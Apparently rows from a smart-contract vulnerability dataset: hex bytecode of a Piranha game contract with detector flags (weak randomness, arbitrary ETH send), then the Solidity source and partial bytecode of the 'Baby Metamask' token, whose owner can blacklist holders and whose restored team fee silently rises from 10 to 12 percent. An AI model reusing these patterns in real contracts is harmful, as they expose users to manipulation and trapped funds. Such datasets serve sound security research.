506972616e6861546f6b656e0000000000000000000000000000000000000000815250905090565b6040805190810160405280600781526020017f506972616e68610000000000000000000000000000000000000000000000000081525081565b60003373ffffffffffffffffffffffffffffffffffffffff166001600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561143757600080fd5b60048281548110151561144657fe5b906000526020600020906007020190506000816005015411151561146957600080fd5b600081600501819055505050565b60048181548110151561148657fe5b9060005260206000209060070201600091509050806000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115325780601f1061150757610100808354040283529160200191611532565b820191906000526020600020905b81548152906001019060200180831161151557829003601f168201915b5050505050908060010160009054906101000a900460ff16908060020154908060030160009054906101000a900460ff16908060040154908060050154908060060160009054906101000a900460ff16905087565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115e257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561161e57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61166b338261221a565b151561167657600080fd5b61167f826122f2565b151561168a57600080fd5b61169533838361232b565b5050565b6000803391506001600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506116de826122f2565b15156116e957600080fd5b6116f38284612286565b15156116fe57600080fd5b61170981838561232b565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179057600080fd5b600090505b600f8160ff1610156117fb576117ee6040805190810160405280600a81526020017f457468506972616e6861000000000000000000000000000000000000000000008152503366470de4df82000060a06001600061252d565b8080600101915050611795565b50565b6000806000806000806001600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16955033945060048781548110151561184f57fe5b90600052602060002090600702019350836005015492508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141515156118a157600080fd5b6118aa856122f2565b15156118b557600080fd5b8234101580156118c55750600083115b15156118d057600080fd5b6118e56118de846061612748565b6064612783565b91506000846005018190555060008460060160006101000a81548160ff021916908360ff16021790555061191a86868961232b565b3073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141515611990578573ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561198f57600080fd5b5b7e8201e7bcbf010c2c07de59d6e97cb7e3cf67a46125c49cbc89b9d2cde1f48f87846000898960048d8154811015156119c557fe5b9060005260206000209060070201600001604051808781526020018681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015611ad55780601f10611aaa57610100808354040283529160200191611ad5565b820191906000526020600020905b815481529060010190602001808311611ab857829003601f168201915b505097505050505050505060405180910390a182341115611b3d57611afa348461279e565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611b3c57600080fd5b5b50505050505050565b6000806000803373ffffffffffffffffffffffffffffffffffffffff166001600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611bb957600080fd5b66038d7ea4c6800034141515611bce57600080fd5b600486815481101515611bdd57fe5b90600052602060002090600702019350600485815481101515611bfc57fe5b9060005260206000209060070201925060018460060160009054906101000a900460ff1660ff16148015611c44575060018360060160009054906101000a900460ff1660ff16145b1515611c4f57600080fd5b61038483600401544203811515611c6257fe5b048360010160009054906101000a900460ff1660ff1601915060288260ff16111515611c8d57600080fd5b600a61038485600401544203811515611ca257fe5b048560010160009054906101000a900460ff1660ff160101905060f08160ff161115611d095760f08460010160006101000a81548160ff021916908360ff16021790555060008460060160006101000a81548160ff021916908360ff160217905550611d27565b808460010160006101000a81548160ff021916908360ff1602179055505b60328260ff16101515611d5c57600a82039150818360010160006101000a81548160ff021916908360ff160217905550611d7b565b60288360010160006101000a81548160ff021916908360ff1602179055505b428460040181905550428360040181905550505050505050565b6040805190810160405280600c81526020017f506972616e6861546f6b656e000000000000000000000000000000000000000081525081565b6000806000806000806000806000803373ffffffffffffffffffffffffffffffffffffffff16600160008e815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611ea957503373ffffffffffffffffffffffffffffffffffffffff16600160008d815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1515611eb457600080fd5b662386f26fc1000034141515611ec957600080fd5b60048c815481101515611ed857fe5b9060005260206000209060070201995060048b815481101515611ef757fe5b906000526020600020906007020198506103848a600401544203811515611f1a57fe5b048a60010160009054906101000a900460ff1660ff1601975060f08860ff161115611f625760f08a60010160006101000a81548160ff021916908360ff160217905550611f80565b878a60010160006101000a81548160ff021916908360ff1602179055505b61038489600401544203811515611f9357fe5b048960010160009054906101000a900460ff1660ff1601965060f08760ff161115611fdb5760f08960010160006101000a81548160ff021916908360ff160217905550611ff9565b868960010160006101000a81548160ff021916908360ff1602179055505b60968a60010160009054906101000a900460ff1660ff16118015612031575060968960010160009054906101000a900460ff1660ff16115b151561203c57600080fd5b6120786120718b60010160009054906101000a900460ff1660ff168c60010160009054906101000a900460ff1660ff166127b7565b6004612783565b9550886002015494508960020154935088600201548a6002015411156120a75789600201549450886002015493505b600143034060019004925060016064848115156120c057fe5b06019050600185600a01848115156120d457fe5b0614156120ed576120e68560016127b7565b915061211b565b838514156120fd5784915061211a565b6121176001858703018481151561211057fe5b06856127b7565b91505b5b60058160ff16111561212c57600090505b61214b8a60010160009054906101000a900460ff1660ff166002612783565b8a60010160006101000a81548160ff021916908360ff1602179055506121868960010160009054906101000a900460ff1660ff166002612783565b8960010160006101000a81548160ff021916908360ff160217905550428a6004018190555042896004018190555060008a600501819055506000896005018190555061220c6040805190810160405280600a81526020017f457468506972616e68610000000000000000000000000000000000000000000081525033600089868661252d565b505050505050505050505050565b60006001600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550816001600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151561248957600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055506003600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1505050565b6125356128a5565b600060e0604051908101604052808981526020018660ff1681526020018581526020018460ff168152602001428152602001878152602001600060ff16815250915060016004805480600101828161258d91906128f2565b9160005260206000209060070201600085909190915060008201518160000190805190602001906125bf929190612924565b5060208201518160010160006101000a81548160ff021916908360ff1602179055506040820151816002015560608201518160030160006101000a81548160ff021916908360ff1602179055506080820151816004015560a0820151816005015560c08201518160060160006101000a81548160ff021916908360ff16021790555050500390508063ffffffff168114151561265a57600080fd5b7fd1598bff28095f166984fc1c9e1b077efb3f55e9048d865e51b049178d5b8c6f81898960405180848152602001806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019080838360005b838110156126f65780820151818401526020810190506126db565b50505050905090810190601f1680156127235780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a161273e6000888361232b565b5050505050505050565b600080600084141561275d576000915061277c565b828402905082848281151561276e57fe5b0414151561277857fe5b8091505b5092915050565b600080828481151561279157fe5b0490508091505092915050565b60008282111515156127ac57fe5b818303905092915050565b60008082840190508381101515156127cb57fe5b8091505092915050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061286657805160ff1916838001178555612894565b82800160010185558215612894579182015b82811115612893578251825591602001919060010190612878565b5b5090506128a191906129a4565b5090565b60e0604051908101604052806128b96129c9565b8152602001600060ff16815260200160008152602001600060ff1681526020016000815260200160008152602001600060ff1681525090565b81548183558181151161291f5760070281600702836000526020600020918201910161291e91906129dd565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061296557805160ff1916838001178555612993565b82800160010185558215612993579182015b82811115612992578251825591602001919060010190612977565b5b5090506129a091906129a4565b5090565b6129c691905b808211156129c25760008160009055506001016129aa565b5090565b90565b602060405190810160405280600081525090565b612a5d91905b80821115612a5957600080820160006129fc9190612a60565b6001820160006101000a81549060ff021916905560028201600090556003820160006101000a81549060ff0219169055600482016000905560058201600090556006820160006101000a81549060ff0219169055506007016129e3565b5090565b90565b50805460018160011615610100020316600290046000825580601f10612a865750612aa5565b601f016020900490600052602060002090810190612aa491906129a4565b5b505600a165627a7a723058202372711824b2793d668b7e0ce9814bad7eb952d64d0d967bd9b0b3d59436f8c90029 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 342 |
0x331265c5c782c955320a2a958aa295aa1a667d9c | /**
*Submitted for verification at Etherscan.io on 2021-06-29
*/
// SPDX-License-Identifier: Unlicensed
// https://t.me/BabyMetaMask
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BabyMetamask is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Baby Metamask";
string private constant _symbol = "BABYMETAMASK";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102fc578063c3c8cd801461031c578063c9567bf914610331578063d543dbeb14610346578063dd62ed3e1461036657600080fd5b8063715018a61461026a5780638da5cb5b1461027f57806395d89b41146102a7578063a9059cbb146102dc57600080fd5b8063273123b7116100dc578063273123b7146101d7578063313ce567146101f95780635932ead1146102155780636fc3eaec1461023557806370a082311461024a57600080fd5b806306fdde0314610119578063095ea7b31461016157806318160ddd1461019157806323b872dd146101b757600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600d81526c42616279204d6574616d61736b60981b60208201525b60405161015891906119fa565b60405180910390f35b34801561016d57600080fd5b5061018161017c36600461188b565b6103ac565b6040519015158152602001610158565b34801561019d57600080fd5b50683635c9adc5dea000005b604051908152602001610158565b3480156101c357600080fd5b506101816101d236600461184b565b6103c3565b3480156101e357600080fd5b506101f76101f23660046117db565b61042c565b005b34801561020557600080fd5b5060405160098152602001610158565b34801561022157600080fd5b506101f761023036600461197d565b610480565b34801561024157600080fd5b506101f76104c8565b34801561025657600080fd5b506101a96102653660046117db565b6104f5565b34801561027657600080fd5b506101f7610517565b34801561028b57600080fd5b506000546040516001600160a01b039091168152602001610158565b3480156102b357600080fd5b5060408051808201909152600c81526b424142594d4554414d41534b60a01b602082015261014b565b3480156102e857600080fd5b506101816102f736600461188b565b61058b565b34801561030857600080fd5b506101f76103173660046118b6565b610598565b34801561032857600080fd5b506101f761063c565b34801561033d57600080fd5b506101f7610672565b34801561035257600080fd5b506101f76103613660046119b5565b610a35565b34801561037257600080fd5b506101a9610381366004611813565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b9338484610b08565b5060015b92915050565b60006103d0848484610c2c565b610422843361041d85604051806060016040528060288152602001611bcb602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061103e565b610b08565b5060019392505050565b6000546001600160a01b0316331461045f5760405162461bcd60e51b815260040161045690611a4d565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104aa5760405162461bcd60e51b815260040161045690611a4d565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104e857600080fd5b476104f281611078565b50565b6001600160a01b0381166000908152600260205260408120546103bd906110fd565b6000546001600160a01b031633146105415760405162461bcd60e51b815260040161045690611a4d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b9338484610c2c565b6000546001600160a01b031633146105c25760405162461bcd60e51b815260040161045690611a4d565b60005b8151811015610638576001600a60008484815181106105f457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063081611b60565b9150506105c5565b5050565b600c546001600160a01b0316336001600160a01b03161461065c57600080fd5b6000610667306104f5565b90506104f281611181565b6000546001600160a01b0316331461069c5760405162461bcd60e51b815260040161045690611a4d565b600f54600160a01b900460ff16156106f65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610456565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107333082683635c9adc5dea00000610b08565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076c57600080fd5b505afa158015610780573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a491906117f7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ec57600080fd5b505afa158015610800573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082491906117f7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086c57600080fd5b505af1158015610880573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a491906117f7565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108d4816104f5565b6000806108e96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094c57600080fd5b505af1158015610960573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098591906119cd565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109fd57600080fd5b505af1158015610a11573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106389190611999565b6000546001600160a01b03163314610a5f5760405162461bcd60e51b815260040161045690611a4d565b60008111610aaf5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610456565b610acd6064610ac7683635c9adc5dea0000084611326565b906113a5565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b6a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610456565b6001600160a01b038216610bcb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610456565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610456565b6001600160a01b038216610cf25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610456565b60008111610d545760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610456565b6000546001600160a01b03848116911614801590610d8057506000546001600160a01b03838116911614155b15610fe157600f54600160b81b900460ff1615610e67576001600160a01b0383163014801590610db957506001600160a01b0382163014155b8015610dd35750600e546001600160a01b03848116911614155b8015610ded5750600e546001600160a01b03838116911614155b15610e6757600e546001600160a01b0316336001600160a01b03161480610e275750600f546001600160a01b0316336001600160a01b0316145b610e675760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610456565b601054811115610e7657600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb857506001600160a01b0382166000908152600a602052604090205460ff16155b610ec157600080fd5b600f546001600160a01b038481169116148015610eec5750600e546001600160a01b03838116911614155b8015610f1157506001600160a01b03821660009081526005602052604090205460ff16155b8015610f265750600f54600160b81b900460ff165b15610f74576001600160a01b0382166000908152600b60205260409020544211610f4f57600080fd5b610f5a42603c611af2565b6001600160a01b0383166000908152600b60205260409020555b6000610f7f306104f5565b600f54909150600160a81b900460ff16158015610faa5750600f546001600160a01b03858116911614155b8015610fbf5750600f54600160b01b900460ff165b15610fdf57610fcd81611181565b478015610fdd57610fdd47611078565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102357506001600160a01b03831660009081526005602052604090205460ff165b1561102c575060005b611038848484846113e7565b50505050565b600081848411156110625760405162461bcd60e51b815260040161045691906119fa565b50600061106f8486611b49565b95945050505050565b600c546001600160a01b03166108fc6110928360026113a5565b6040518115909202916000818181858888f193505050501580156110ba573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d58360026113a5565b6040518115909202916000818181858888f19350505050158015610638573d6000803e3d6000fd5b60006006548211156111645760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610456565b600061116e611413565b905061117a83826113a5565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122b57600080fd5b505afa158